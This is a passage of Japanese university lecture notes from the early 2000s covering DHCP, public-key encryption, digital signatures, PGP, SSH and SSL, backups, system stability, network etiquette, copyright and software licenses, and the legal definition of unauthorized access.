3.3.8
?
はじめの「IP アドレスの要求」では, クライアン
トには IP アドレスがないので, IP アドレスは
255.255.255.255 という Ethernet ブロードキャスト
で, LAN 上のすべてのホストにパケットを送信する.
それを受け取った DHCP サーバは「IP アドレスの割
り当て結果」を返し, クライアントはその IP アドレス
を自身のアドレスとして設定する. （実際には, この時
点で, 数度の細かいやり取りが行われる.）IP ブロード
キャスト・ドメイン内に複数の DHCP サーバがあると,
この段階で, どのサーバからの割り当て結果を利用する
かをクライアントが決定する. したがって, IP ブロード
キャスト・ドメイン内に複数の DHCP サーバがあると,
思わぬ結果を招くことがある.
サーバによってきめられた一定時間後には, クライアン
トは「自身がまだネットワークを利用すること」をサー
バに伝えて, IP アドレスの利用を延長する. この時間内
に「延長願」が来ないと, サーバはその IP アドレスを
他のホストに割り当てることが出来る. （DHCP クラ
イアントの実装にバグがあり, この手続きが正常に行わ
れないものがある. ）
暗号化通信
Ethernet に代表されるようなコンピュータネットワークの通信では, 通信内容はデータがそのまま通信
路に載せられる. すなわち, 通信を何らかの方法で「盗聴」することにより, 通信内容は容易に盗み見るこ
とが可能である. 特に Ethernet のような CSMA/CD 方式のネットワークでは, ネットワーク上ある他の
ホストで通信データをすべて受信することが可能である. また, 遠隔地のホストと通信を行うためには, い
くつものネットワーク・ルータを通過することとなるが, それらのルータではそこを経由するデータを容易
に盗聴可能である. そのため, 近年はネットワーク上を流れるデータを「暗号化」することにより, データ
への不正なアクセスを防ぐ試みがなされている.
3.3.8.1
公開鍵暗号系
通常暗号通信というと, 送信者と受信者が一つの「鍵」を共有し, その鍵をもとにデータの暗号化を行う
ことが想定される. このような送信者と受信者が同じ鍵をもとに暗号を構成する体系を古典暗号系と呼ぶ.
しかし, コンピュータネットワークのように不特定多数との通信では, そのための鍵をお互いに交換する仕
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
106
組みをどのように導入するかが大きな問題となっている. そのために１９７２年に開発されたアイデアが公
開鍵暗号系という暗号体系であり, 公開鍵暗号系では, 各暗号系ユーザは「公開鍵」と「秘密鍵」と呼ばれ
る２つの鍵をもち, 「公開鍵」を不特定多数に公開する. この時, ユーザ A がユーザ B と通信したい場合
には, ユーザ A はユーザ B の「公開鍵」を用いてデータを暗号化してユーザ B に暗号化データを送信す
る. 暗号化データを受け取ったユーザ B は自身の「秘密鍵」を用いてデータを復号化する. この時, 「公開
鍵」は不特定多数が知っているため, 「公開鍵」から「秘密鍵」を容易には類推できないことと, 「秘密鍵」
が無ければ「公開鍵」からだけではデータを復号化出来ないことがシステムが成立するための条件となる.
このような暗号体系は本当に存在するのかが問題となるが, 現在では RSA 暗号や離散対数暗号といっ
た, 代数学の知識をもとにした公開鍵暗号系がいくつも考えられている. これらの暗号系の強度, すなわち,
「公開鍵」から「秘密鍵」を類推できない程度を保証することは難しく, 現在では代数学をもとにしたこれ
らの研究が盛んに用いられている.
なお, 公開鍵暗号系では, データの暗号化・復号化の計算に時間が掛るため, 実際に利用される暗号通信
では, 古典暗号系の鍵を交換するために公開鍵暗号を用い, 実際のデータ通信を行う場合には, そこで交換
した鍵をもとにした古典暗号系を用いるのが普通である.
3.3.8.2
電子署名
一方, データを暗号化しても, そのデータ自身が送信者自身が作成したものであるとの保証をすることは
出来ない. なぜなら, ユーザ C がユーザ A になりすまし, ユーザ B の「公開鍵」を利用してユーザ B に
データを送信しても, ユーザ B はそのデータが本当にユーザ A から送信されたものかどうかを知ることは
出来ない. データを本当に発信者が出したものかどうかを知るために考えられたものが電子署名である.
電子署名は, 公開鍵暗号系を逆に利用することで容易に実現可能である. すなわち, ユーザ A がユーザ B
にデータを送信する際に, 送信データを自身の「秘密鍵」で暗号化し, 本来のデータとともにユーザ B に
送付する. ここで「秘密鍵」で暗号化したデータを「電子署名」と呼ぶ. データを受け取ったユーザ B は
「電子署名」をユーザ A の「公開鍵」で復号化し, 本来のデータと比較することによって, それが一致すれ
ばデータはユーザ A から送付されたことを知ることが出来る. すなわち, ユーザ A の「秘密鍵」にアクセ
スすることが出来るユーザは A のみに限られていることを利用する.
実際に電子署名を用いるときには, データ全体の暗号化データを送るのではなく, データのハッシュ値と
呼ばれる数値を作成し, ハッシュ値を暗号化することで電子署名とすることが多い. ここで, ハッシュ値と
は, データから生成される大きな数値47 のことであり, データを変更した場合, 同じハッシュ値を得ること
が困難である関数48 を用いて生成される.
3.3.8.3
暗号化通信と電子署名の実際
暗号化通信と電子署名は, 以下のように, 現在幅広く用いられている.
1. 電子メールの暗号化に用いられる PGP (Pritty Good Privacy).
PGP は RSA 暗号を用いた公開鍵暗号で電子メールの暗号化と電子署名を実現する方法である. こ
の場合, 「ユーザ」に対応するものは, 電子メールのユーザであり, 電子メールアドレスごとに鍵を持
つ. 実際の PGP での暗号化の流れは以下のようになる.
(a) 【前提条件】メールの送信者・受信者はお互いの「PGP 公開鍵」を持っている.
47 ６４バイトまたは１２８バイト程度.
48 このような関数を一方向性関数と呼ぶ.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
107
(b) 【暗号化と署名】送信者は受信者の公開鍵でメールの暗号化を行い, 送信者自身の秘密鍵で暗号
化したメールに対して署名を行う.
(c) 【復号化と署名の検証】メールを受信した受信者は, 受信者自身の秘密鍵で暗号化メールの復号
化を行い, 送信者の公開鍵を用いて, 復号化されたメールに対する署名の検証を行う.
ここで, 単に暗号化をするだけであれば, 受信者は送信者の公開鍵を知っている必要はなく, 単に署
名を行うだけであれば, 送信者は受信者の公開鍵を知っている必要はない. このことを利用して, フ
リーソフトウェアを配布する際や, 不特定多数へ電子メールを送信する際には, その正当性を保証す
るために, 署名部分のみを分離して公開する方法を用いることができる.
2. ホストへの通信を暗号化する SSHSecure Shell).
SSH は（主に） UNIX ワークステーションにログインする場合の通信を暗号化することが目的で開
発された. 特に遠隔地からのログインの場合に, パスワードが平文のままネットワークを流れること
を防ぐことが目的とされている. この場合, 「ユーザ」に対応するものは, 各ログイン・ユーザとホ
スト・ワークステーションである. すなわち, 鍵は SSH を利用するクライアント上のホストのユー
ザごとに生成される鍵とサーバ・ワークステーション自身が持つ鍵を用いて通信が行われる. 現在の
SSH は RSA 暗号を用いたものと DH 暗号と呼ばれる離散対数暗号を用いたものが使われている. 実
際の SSH での接続の流れは以下のようになる.
(a) 【公開鍵の交換】SSH でログインするために, SSH サーバにアクセスを行う. この時点で, ユー
ザはサーバの「ホスト公開鍵」を入手できる. また, サーバプログラムは接続してきたユーザの
「ユーザ公開鍵」を入手することができる.
(b) 【セッション鍵の交換】ユーザの SSH セッションとサーバの SSH デーモンは, お互いの公開
鍵を用いて, セッションの暗号化を行うための「古典暗号系の鍵」を公開鍵暗号通信の元で交換
する. 現在の SSH では 3DES, blowfish などの古典暗号系を用いる.
(c) 【ユーザ認証】セッション鍵の交換後, 全てのセッションの通信は古典暗号を用いて行われる.
SSH サーバはユーザに対してパスワードまたはパスフレーズの入力を要求し, 正当なユーザか
どうかの認証を行う. すなわち, パスワードを入力する時点で, セッションの通信はすでに暗号
化されている.
3. ネットワーク・ソケット・レイヤで暗号化通信を行う SSLSecure Socket Layer).
SSH ではログイン・セッションを暗号化するために, アプリケーション・レイヤで暗号化を行うが,
SSL ではより低いネットワーク・レイヤであるソケット・レイヤで暗号化を行う. SSL を利用する
と, ホスト間のすべての通信を暗号化することも可能である. SSL は RSA 暗号と DH 暗号を用いて
いる. 実際の SSL での接続の流れは以下のようになる.
(a) 【サーバの証明書の作成】SSL を利用したネットワークアプリケーションサーバの構成には,
CA 証明書 (Certification Authority) と呼ばれる, サーバの正当性を証明する電子書類を認
証局 (CA) と呼ばれる機関から入手し, CA 証明書に対して CA の電子署名をつけてもらう必
要がある.
(b) 【クライアントの接続と証明書の提示】クライアントがサーバに対して, SSL を利用したアプ
リケーション層の通信を要求すると, サーバはクライアントに対して, セッション層でサーバ自
身の CA 証明書を提示する. 同時に, サーバの SSL 公開鍵をクライアントに送信する.
(c) 【証明書の検証】CA 証明書を提示されたクライアントは, CA 認証局へ通信を行い, 証明書の
正当性を検証する.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
108
(d) 【鍵の交換】CA 証明書の正当性を確認したクライアントは, セッション鍵を生成し, サーバの
SSL 公開鍵を用いて, セッション鍵を暗号化してサーバに送信する.
(e) 【暗号化セッションの開始】暗号化されたセッション鍵を受取ったサーバは鍵を復号化して, 以
後, セッションの通信をセッション鍵を用いた暗号化通信で行う.
このように, SSL ではサーバの正当性を第３者（この場合には CA 認証局）が保証している. このよ
うな第３者認証は, ネットワークの安全性を暗号化通信以上に向上させる可能性があり, 今後広く使
われるようになるだろう.
なお, HTTP の通信の暗号化である Secure HTTP (https) も SSL を用いている. 上の SSL の流れ
では, サーバ側だけが証明書を提示することになっているが, SSL では, サーバがクライアントに対
して特定の証明書の提示を求めることも可能であり, この方法を用いることにより, https の通信で
WEB サーバの利用に対してパスワードを用いない認証を行うことも可能である49 .
3.4
コンピュータとネットワークのリテラシ
リテラシ (literacy) とは「読み書きの能力」という意味の単語ですが, コンピュータ・リテラシと言っ
たときには, コンピュータを利用する上での基本的な能力を指します. 世間では「コンピュータ・リテラシ」
という言葉が, 著名なアプリケーション・ソフトウェアに関する利用能力のように言われていますが, 本来
はコンピュータ全般に関する基礎的な知識, 新しいソフトウェアに対する習得能力, トラブルに対応する能
力などの汎用的な能力を指すはずの言葉です.
一般的なリテラシに関しては, ここまでに述べてある各種の技術的な内容を理解することが重要ですが,
ここでは, これまでに述べなかった, コンピュータやネットワークにおける技術的および社会的なトラブル
を未然に防ぐための注意点を述べておきます.
3.4.1
コンピュータのトラブルを未然に防ぐ
コンピュータを利用していると, 各種のトラブルにみまわれます. これは, ある程度は仕方ないことなの
ですが, トラブルにぶつかったときに, その被害を最小限で止めることが出来るかどうかが重要になります.
3.4.1.1
バックアップ
ハードディスクなどに記憶されているデータやシステム, アプリケーション・ソフトウェアは, 所詮磁気
媒体に記憶されていますから, 何らかのハードウェアのトラブル50 により, それらが消失することもありま
す. また, ユーザのオペレーション・ミスで, 必要なファイルを消去してしまうこともあり得ます.
バックアップ (backup) とは, このような事態に備えて, 他の外部記憶メディアにデータのすべてまたは
一部のコピーをとることを指します. 実際には, システムやすべてのデータをバックアップするためには,
システムの外部記憶装置と同等以上の容量を持ったものを用意する必要があります. バックアップを実際
に行うには, ハードディスクを追加して, 通常利用する外部記憶装置のファイルをすべて追加したディスク
にコピーをとる方法もあります. しかし, この方法だと, 非常に大量のディスクが必要になるという欠点を
持ちます. また, 大規模なサーバ・ワークステーションなどでは, 大容量のテープドライブを用意して, 深
49 近年, WEB サーバの CGI を用いて各種の情報の入出力を行うことが多くなってきた. その際に, 常に「ユーザ名とパスワード
の組による認証」を行っているが, CA クライアント証明書を用いることにより, ムダな「ユーザ名とパスワードの組」を減らすこと
が可能になる.
50 例えばハードディスクがクラッシュするなど.
literacy.tex,v 1.13 2001-12-06 14:24:01+09 naito Exp
数理解析・計算機数学特論
109
夜などのユーザの少ない時間帯にすべてのデータをバックアップするということが行われます. いずれに
しても, これらの方法は, 追加の外部記憶装置が必要なことと, バックアップに時間が掛ることが欠点とな
ります.
通常, 個人ユーザが必要とするバックアップは, ユーザ自身が作成したデータに限られることが多いので,
その程度のデータ量であれば, 現在では MO や CD-R などのメディアを利用してバックアップをとること
が出来るので, 可能な限りバックアップをとるという努力が必要です.
3.4.1.1.1 なぜバックアップが必要か実は, ハードディスクのクラッシュは, ある程度は避けがたいこ
とで, ハードディスクにデータを載せている限りは, いつかはディスク・クラッシュに出くわすと思わなけ
ればなりません. ディスク・クラッシュにみまわれたときに, データすべてを消失するか, 一部のデータだ
けを消失するので済むかは運次第です.
また, 間違ってファイルを消してしまうことも常にありうることです. 必要なファイルを間違えて消して
しまうことを恐れて, 不必要なファイルをいつまでもため込んでおくことは, ディスク・スペースを無駄に
使うことになり, 良いことではありません. このような不幸な事件はコンピュータを使う以上は, ユーザは
いつかは経験することで, その経験がないと, 決してオペレーションの上達はあり得ません.
しかし, このような事件に出会ったときに, バックアップがあれば, 少々面倒であっても, バックアップか
らデータを取り出すことが可能です. バックアップからの復旧は時間も掛り, 手順も面倒なことがあります
が, このような経験をすることが, コンピュータを理解する一つの方法となります.
インクリメンタル・ダンプ
3.4.1.1.2
一般に記憶装置のデータを出力することをダンプ (dump) と呼
びます. また, データのバックアップを取る場合に, ディスク上にあるすべてのファイルをコピーすること
をフル・ダンプ (full dump) と呼びます. バックアップの際に, 対象となるデータをフル・ダンプすると,
非常に時間もかかり, バックアップ・メディアも大量に必要となります51 .
このような欠点を補うために考え出されたのが, インクリメンタル・ダンプ (incremental dump) で
す. これは, 直前のバックアップから変更されたデータのみを追加のバックアップデータとして保存するも
ので, 例えば, 以下のようなバックアップ・スケジュールに基づいてバックアップを行います.
偶数週
奇数週
日曜日
ファイル１へのフル・ダンプ
日曜日
ファイル２へのフル・ダンプ
月曜日
前日以後変更されたもののダンプ
月曜日
前日以後変更されたもののダンプ
火曜日
前日以後変更されたもののダンプ
火曜日
前日以後変更されたもののダンプ
水曜日
日曜日以後変更されたもののダンプ
水曜日
日曜日以後変更されたもののダンプ
木曜日
前日以後変更されたもののダンプ
木曜日
前日以後変更されたもののダンプ
金曜日
前日以後変更されたもののダンプ
金曜日
前日以後変更されたもののダンプ
土曜日
前日以後変更されたもののダンプ
土曜日
前日以後変更されたもののダンプ
このスケジューリングは, UNIX の dump コマンドに推奨されているものの一例です.
3.4.1.2
システムはなぜ不安定になるか
Windows や MacOS などのパーソナル・コンピュータのシステムは, 時間を経ると不安定になっていく
ことが多いと言われています. ここでは, その理由を探り, 出来る限り安定させる方法を考えてみましょう.
51 バックアップは, 通常１セットではダメです. なぜなら, バックアップ中にトラブルがあった場合には, オリジナルもバックアップ
も両方とも読み出せなくなる可能性があります. そのため, 最低限２セットのバックアップをとることが必要となります. まあ, CD-R
などの write at once のメディアを利用する場合には, 話は別になります.
literacy.tex,v 1.13 2001-12-06 14:24:01+09 naito Exp
数理解析・計算機数学特論
110
3.4.1.2.1
システムが不安定になる理由
最近のパーソナル・コンピュータのアプリケーションは, インス
トール時に各種のドライバや, 動的リンクライブラリを同時にインストールします. ドライバは, カーネル
や BIOS などの各種のデータを書き換える機能を持つことが多く, 同一の目的で動作するドライバは, カー
ネルや BIOS の同じデータの書き換えを行います. Windows や MacOS などの排他制御機能の弱い OS で
は, 同一の目的で動作するドライバを複数インストールすると, それらが排他制御なしにカーネルや BIOS
のデータを書き換えることがあります. その場合, ドライバは他のドライバがデータを書き換えたことを知
らずに, データの再書き換え等を行うことがあり, これがシステムを不安定にする大きな要因となります.
さらに, BIOS に各種の不要なデータがたまることにより, システムが不安定になることもあり得ます.
3.4.1.2.2 システムを出来る限り安定させるシステムを可能な限り安定させるためには, インストール
するドライバは必要最小限の物に限ると言うのが, 最も重要なことです. また, 不必要になったドライバは
削除することも必要です.
MacOS では「機能拡張マネージャ」により, ドライバや動的リンクライブラリの追加・削除が容易に行
えますが, Windows では一旦インストールしたドライバや動的リンクライブラリを完全に削除するのは困
難な場合があります. そのような場合には, さっさと OS の再インストールを実行することが重要だと考え
られてます.
一方, UNIX では排他制御機能が非常に高いため, このようなトラブルは比較的少なくなりますが, 決し
てあり得ないことではないので, ドライバの追加・削除には, やはり注意が必要となります.
3.4.1.2.3
システムが不安定になった場合の対処法
Windows の場合は, あきらめて OS を再インストー
ルします. 一番正しい選択は, Windows の利用をやめ, もっとマトモな OS を使うことだと考えます.
MacOS の場合には, 「機能拡張マネージャ」でドライバや動的リンクライブラリを整理しますが, それ
でもダメな場合には, BIOS (MacOS の場合は PRAM/NVRAM と言います) をクリアして再起動するこ
とが必要となります.
3.4.2
ネットワークの利用に関して
コンピュータネットワークの発展に伴って, 多くの人々がネットワークを利用してコミュニケーションを
とることが可能になり, 非常に便利なことも多くなってきましたが, 一方では, ネットワーク上でのトラブ
ル・犯罪なども急増しています. ここでは, それらに対する基本的な注意点を述べておきます. ただし, コ
ンピュータに関連する犯罪などに関しては, その技術的な部分は後の章にまとめておきます.
お互いに顔を見てコミュニケーションをとる社会, 電話や手紙など, お互いの声や文字を見てコミュニ
ケーションをとる社会から, ネットワークを利用して, 見ず知らずの世界中の人たちとコミュニケーション
をとることが可能な社会に発展してきました. このような時代には, コンピュータ・ネットワークは, 仮想
的な世界ではなく, 現実的な社会の一つのコミュニケーションの方法を与える手段であるという認識が必要
だと考えられます. すなわち, ネットワークの向うには世界中の多くの人たちがいて, ネットワークを利用
したコミュニケーションとは, 単に仮想的な情報のやり取りではなく, 現実の人間とのやり取りであるとい
う認識を持ってください.
コンピュータネットワークに関連する社会的な問題と考えられるのは,
• 著作権法など, 基本的な法律に関する問題.
• 不正アクセスなど, ネットワークの技術的な部分に起因する社会的・法的問題.
• 電子メールなどを利用したコミュニケーションに関する, 個人的な発言に端を発する問題.
literacy.tex,v 1.13 2001-12-06 14:24:01+09 naito Exp
数理解析・計算機数学特論
111
などに分類されます52 .
3.4.2.1
ネットワーク・コミュニケーションの問題
電子メール, ネットワークニュース, ウェブページなどを利用して, 多くのユーザとコミュニケーション
をとることができるようになり, 不特定多数との情報の交換が容易になっていますが, 一方では, それに端
を発する社会的な問題も増加しています.
• 電子メールなどの文書では, 文書内容が過激になることがあり, お互いに顔を見て話したり, 電話で話
したりしているときには問題にならない言葉が, 文書として書くことにより, 受信者の感情を逆撫で
することもあります.
• また, 電子メールは同時に多数の受信者に向けて発信することが出来るので, 必要のない相手にまで
メールを送ることも出来ます. しかし, 不要なメールを受け取ることは迷惑と考えられることもある
ので, 不必要な相手にはメールを送ってはいけません.
• 電子メールは受信したメールの内容を簡単に引用して他人に送ることも可能です. しかし, メールの
内容には個人情報や, 第３者には知られたくない内容が含まれていることもありますので, 受信した
メールを不用意に第３者に転送したり, 一部分を引用して送付したりしてはいけません.
• 電子メールアドレスそのものも個人情報に含まれます. 他人のメールアドレスを第３者に教えたり,
公開したりすることは, 本人が望まないことである可能性もあるので, 勝手に他人のメールアドレス
を公開したり, 第３者に教えてはいけません.
• 公開の掲示板, 電子メールなど, ネットワークコミュニケーションの場で, 他人を中傷・誹謗する内容
を書くことは社会的なルールに違反します. 特に, コンピュータ・ネットワークでは, 発信者個人の
名前等が秘匿されることが多いのですが, いかなる場合にも, 個人の名前, 所属等を明らかにした上で
発言できる内容しか書いてはなりません.
• 電子メールアドレスが社会的に認知された組織のものである限り, 各種の発言は, その組織の人間の
発言ととられることがあります.
3.4.2.2
著作権法
コンピュータ・ネットワークを利用する上で注意しなければならないことに, 「著作権」 (copy right
law) や「知的所有権」の侵害を行わないということがあります. 「著作権」, 「知的所有権」とは, 各種の
人工的創造物に対して, 創造者の権利を保護する一連の概念であり, ネットワーク上では, ソフトウェアの
著作権, 画像や音楽情報などの著作権など, 関連するものは多岐に及びます.
２０００年はじめ頃から, 「ナップスター」と呼ばれる, MP3 フォーマットの音楽データを世界規模で
交換するというシステムが発生し, ２００１年２月には, 著作権侵害により, サーバの運用を停止するとい
う事件がありました. 音楽データはその作者・演奏者をはじめとする多くの人が著作権, 公開権, 配布権等
をもち, データを入手したユーザが勝手にデータを不特定多数に公開することは出来ません. 「ナップス
ター」では, サーバ運用者に対して, 著作権侵害の訴訟が起こりましたが, 本来は, 「ナップスター」を利用
してデータを公開したすべてのユーザに対して, 著作権侵害の訴訟が起こされても仕方ないと考えられて
います. このように, ネットワーク上では, 決して悪意がなくても著作権などの侵害を行ってしまう可能性
もあるので, 各種のデータの取り扱いには細心の注意が必要となります.
52 この他にも各種の問題はありうると思います.
literacy.tex,v 1.13 2001-12-06 14:24:01+09 naito Exp
数理解析・計算機数学特論
112
なお, 著作権法は国ごとにその規定内容がかなり異なり, ネットワークを利用した利用では, そのソフト
ウェアが従う著作権法が, 必ずしも日本国内のものとは限らないので, いかなる法律を適用されても問題が
ない利用形態をとる必要があります.
3.4.2.2.1
ライセンス
また, 各種のソフトウェアにも著作権があり, ソフトウェアの添付文書として著作
権に関する条項が記載されています. 一般に有償で販売されているソフトウェアは, ライセンス (license)
と呼ばれる概念で利用権が規定され, １本のソフトウェアをどのような条件で利用して良いかが記載されて
います. 具体的には, 次の２つの場合が多数を占めていますが, 各ソフトウェアがどのようなライセンスに
従うかは, 個別のソフトウェアのライセンス情報を見て判断しなければなりません.
• 購入したソフトウェアは, ただ１台のコンピュータにしかインストールできない.
• 購入したソフトウェアは, 複数のコンピュータにインストールできるが, 同時使用は１つに限る.
3.4.2.2.2 フリー・ソフトウェア近年, ネットワーク上でフリーウェア (freeware), シェアウェア (shareware) と呼ばれるライセンス条項に従うソフトウェアが増えています. フリーウェアとは, ある一定の条件
の元に自由に配布・利用が可能なもの, シェアウェアとは, 極めて安価な金額を支払うことにより, 自由に
配布・利用が可能なものを指します. フリーウェアやシェアウェアであっても, それぞれの定めるライセン
ス情報は微妙に異なり, 例えば, ライセンス文書を一体にして配布することが許されているものや, 個人使
用, 非営利的使用であればフリー（無償）で利用して良いものなどがあります. これらのソフトウェアを利
用するときには, 必ずライセンス文書を読んで, 利用条件を確認した上でソフトウェアを利用することが必
要です.
3.4.2.2.3
オープン・ソース
フリーウェアと良く似た概念にオープン・ソース (open source) と呼ば
れるものがあります. これは, フリーウェアやシェアウェアなどをプログラム・コードごと公開して, 不特
定多数に開発の協力を求めたり, 開発に関するアドバイスを求めたりする概念で, 元々は, GNU プロジェ
クトと呼ばれる, UNIX 上のソフトウェア開発プロジェクトが先駆けになっています. 近年話題の Linux も
オープン・ソースにより, 多くのユーザの意見やユーザ自身による開発が行われ, よりよいソフトウェアに
進化して今日の姿になっています.
オープン・ソースの中でも, GPL (GNU GENERAL PUBLIC LICENSE) と呼ばれるライセンス
形態が有名で, 多くのフリーウェア開発者が GPL に従ったライセンス条項の元に, ソースコードを公開し
ています53 . GPL は, 基本的には
• GPL に従うフリーソフトウェアの配布や改変の自由.
• GPL に従うフリーソフトウェアの再利用.
• GPL に従うフリーソフトウェアを財産権を伴うソフトウェアへの組み込みの禁止.
を定めています.
3.4.2.3
不正アクセス
不正アクセス (unauthorized access) とは, 狭い意味では, パスワードなどの利用者制限が加えられた
システムに対して, アクセス権を持たないユーザがアクセスを試みることを指します. ここで, アクセス権
53 GPL に関しては, ここに全文書を載せると長くなり, 一部を載せることは GPL に反しますので, ネットワーク上を検索してく
ださい.
literacy.tex,v 1.13 2001-12-06 14:24:01+09 naito Exp
数理解析・計算機数学特論
113
を持たないユーザとは, そのシステムのパスワードを持たないことを指します. しかし, 今日では, 明示的
な利用者制限が無い場合や, 明示的なシステムが無い場合, 不特定多数にアクセスが許されているシステム
に対する攻撃的なアクセス等も, 広い意味での不正アクセスと考えられます.
２０００年秋には, 日本国内でも「不正アクセス禁止法」が定められ, 主要国では同様な法律があり, 今
日では不正アクセスは法に触れる内容となっていますが, 仮にこのような法律がなくても, 不正アクセスは
ネットワーク上の重大な犯罪的行為とみなされてきました. また, ユーザ自身が意図しなくても, 他のホス
トからの不正アクセスを中継することも不正アクセスの一部と見なされる可能性がありますので, すべて
のユーザは各自の利用するホストを不正アクセスの中継点にしないという努力が必要となります.
3.4.3
ネットワークをめぐる技術上の諸問題
最近, 家庭までの光ファイバーを敷設し, VOD (Video On Demand) などのサービスを実施するという
構想が広く宣伝されている. しかしながら, 回線の敷設に関しては, 基幹回線から家庭までの “Last One
Mile” （日本では, “Fiber To The Home” (FTTH) と呼ぶ）の敷設には, 日本だけでなく各国でその整備
がなかなか進まない. 現在世間では, 光ファイバーさえ引けば「夢のようなネットワーク社会が到来する」
などと広く言われているが, 現実はどうだろうか？
大学などの LAN 環境では, 光ファイバーを利用し, 100Mbps から 10Gbps という超高速ネットワーク
が実現しているが, 「ナップスター」で有名アーチストの新曲が公開されると, そのデータがおかれている
近辺のネットワークはほとんど破綻し, 通常の電子メールの通信も出来なくなるというトラブルが, ２００
０年はじめ頃にはアメリカでは頻繁に起きていた54 .
近い将来「ナップスター」のビデオ版のようなサービス55 や VOD を実現するためには, バックボーン
の処理容量として 10Pbps 程度は必要と考えられている56 . 確かに, 光ファイバーを利用して 1Gbps から
10Gbps の通信帯域を確保すれば, １軒の家庭では VOD でも何でも利用できると考えられるが, 基幹ネッ
トワーク, バックボーンの通信帯域を確保しない限り, このような構想は単なる希望にすぎないことを理解
する必要がある57 .
また, 現在の電話回線や ISDN によるアクセスは, 各家庭から各自が選んだ ISP (Internet Service Provider)
を選択し, その ISP から「インターネット」に接続する形態をとっている. 少なくとも日本国内では ISP
の技術レベルに極めて大きな差があり, 各ユーザがコストとパフォーマンスを比べて適切な ISP を選択出
来るという利点があるが, 光ファイバーネットワークなどでは, ISP に相当する上位ネットワークを自由に
選択できるかどうかの指針が存在しない. 本来, ケーブルを引くだけでは何もできず, そのケーブルをどの
ように利用するか, すなわち, 何を流すかと言うよりも, どのようにネットワークへ接続していくかという
視点が重要であるにも関わらず, そのような視点が欠けた構想が非常に多い58 .
54 通常 LAN では CSMA/CD 方式のネットワークを使っているため, 帯域幅を 10% も使ってしまうと, 事実上通信不可能な状態
になる.
55 「ナップスター」自身は著作権問題にぶつかっているが, 将来, 著作権問題をクリアし, 同様なサービスが復活する可能性は高い.
56 現在のバックボーンに流れる通信量は, およそ 1Tbps と言われている.
57 現在の DVD-ROM に記録された NTSC の動画情報は, 平均的に 5Mbps 程度情報を記録している. したがって, ネットワーク
機器の交換速度 (switching rate) を無視しても, 現在の DVD 程度の画質の情報を流すためには, 100Mbps 程度のネットワークが
必要となる.
また, ネットワーク機器の交換速度はそれほど高速ではないし, ブロードキャストやマルチキャストパケットが増加すると, 交換速
度は極めて低下する. 最悪の場合には, ネットワーク機器でパケット落ちが発生し, ネットワークが正常に利用できなくなる. 事実,
１９９７年頃名古屋大学のネットワークでは, Windows が利用する NetBIOS over IP (138/tcp) のブロードキャストが, ブリッジ
の処理能力を越えて大量に発生し, ネットワークが正常に動作しない時期があった.
58 NTT が計画している FTTH は 10Mbps 程度の帯域を, NTT の持つ「地域ＩＰ網」に接続し, そこから ISP へ接続するとい
う計画である. この場合, 「地域ＩＰ網」の信頼性が十分であるか, 「地域ＩＰ網」の交換速度が十分であるかが問題となる. なお,
NTT は ADSL を利用して, 現在のメタリック・ケーブルのまま「地域ＩＰ網」に接続するというサービスもはじめている. NTT
の ADSL では, 上り 512Kbps, 下り 1.5Mbps 程度である.
一般に, ADSL/CATV などの常時接続では, サービス提供業者の技術レベルや, 接続者の技術レベルに大きな差があり, ネット
ワークのセキュリティに問題があったり, ネットワーク上に「プライベート・アドレス」を持つパケットが流れていたり等という, 重
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
114
3.5
コンピュータとネットワークのセキュリティ
コンピュータやネットワークの用語では, セキュリティ(security) とは, 外部からの不正な侵入や妨害を
防ぐ手段・技術をさす. セキュリティの対象となるのは, コンピュータ・ウイルスや不正アクセスなどが主
であるが, 今日, これらの対象の技術的な問題は多岐に渡り, 特にネットワーク・セキュリティを実施する
際には, 多くの知識と経験が必要となる. また, ネットワークのセキュリティを高めようとすると, 必然的
にネットワーク・サービスの便利さ等が犠牲にならざるをえない.
今日ではセキュリティはネットワークを利用するすべてのユーザに必須の知識であり, 多くの知識が必要
だとはいえ, それらの知識なしでは安全にネットワークを利用することは出来ず, 各種の表面的な記事や風
聞にだまされることとなる.
3.5.1
コンピュータセキュリティとは
コンピュータセキュリティと一言で言っても, そこには以下のように数多くの内容が含まれています.
• 外部からの不正なアクセスに対して, データを保護したり, コンピュータの機能を維持すること.
• ワークステーションのユーザ間のプライバシを保護すること.
• コンピュータネットワークの不正な利用を防ぐこと.
• コンピュータウイルスに対する対策を講じること.
• 悪意のあるデータへのアクセスを避けること.
これらの内容は, コンピュータに関わるセキュリティを大まかに分類して, 標語的に述べたに過ぎません.
それぞれの中には, ネットワークやシステムの管理者が対処する問題も多く含まれますが, 一方では, それ
ぞれの中にユーザ個人が対処しなければならない問題も多く含まれています. ここでは, ユーザ個人の立場
で注意（対処）しなければならないことを述べていきましょう.
3.5.2
不正アクセス
ネットワークに接続されたネットワーク機器（コンピュータだけではなく, プリンタやルータ, スイッチな
どの機器も含まれます）に対しては, 「アクセスの許されたユーザ」という概念があります. 仮に, Microsoft
Windows の動作しているＰＣのような, ユーザ認証59 が存在しないオペレーティングシステムが動作して
いるコンピュータや, ネットワークに接続されたプリンタのように, 明示的なユーザ認証が存在し得ないも
のであっても, その管理上の形態から, これらの機器には, 暗黙のうちにある一部の人しかアクセスするこ
としか許されていません. また, ルータやスイッチのようなネットワーク機器には, その設定を変更する権
限をもって機器にアクセスすることは, その機器管理者しか許されていません.
このように, ネットワークに接続された機器には, 明示的か暗黙的かに関わらず, 「アクセスの許された
ユーザ」という概念が存在し, 一般に, 不正アクセス (unauthorized access) とは, アクセスの許された
ユーザ以外が悪意を持って機器にアクセスすることを指します.
大な欠陥を持つ接続業者もある.
59 機器を利用するために, ユーザＩＤやパスワードなどを用いて, ユーザを識別する機構.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
115
日本国内では, ２０００年秋に, 「不正アクセス防止法」という法律が施行され, いかなるネットワーク
機器に対しても, 不正アクセスを行うことが禁止されています60 . したがって, コンピュータネットワーク
を利用するすべてのユーザは, 自らが不正アクセスを行うことを慎まなくてはなりません.
不正アクセスを考えるときには, 「どのような行為が悪意を持ったアクセス」となるかが問題となりま
す. これはネットワーク機器の管理者の立場に立って考えてみれば, 問題はクリアになります. すなわち,
機器管理者にとっては, 以下のようなものが不正アクセスとみなすアクセスに該当します.
1. ユーザに対して利用の許可を行っていないサービスへのアクセス.
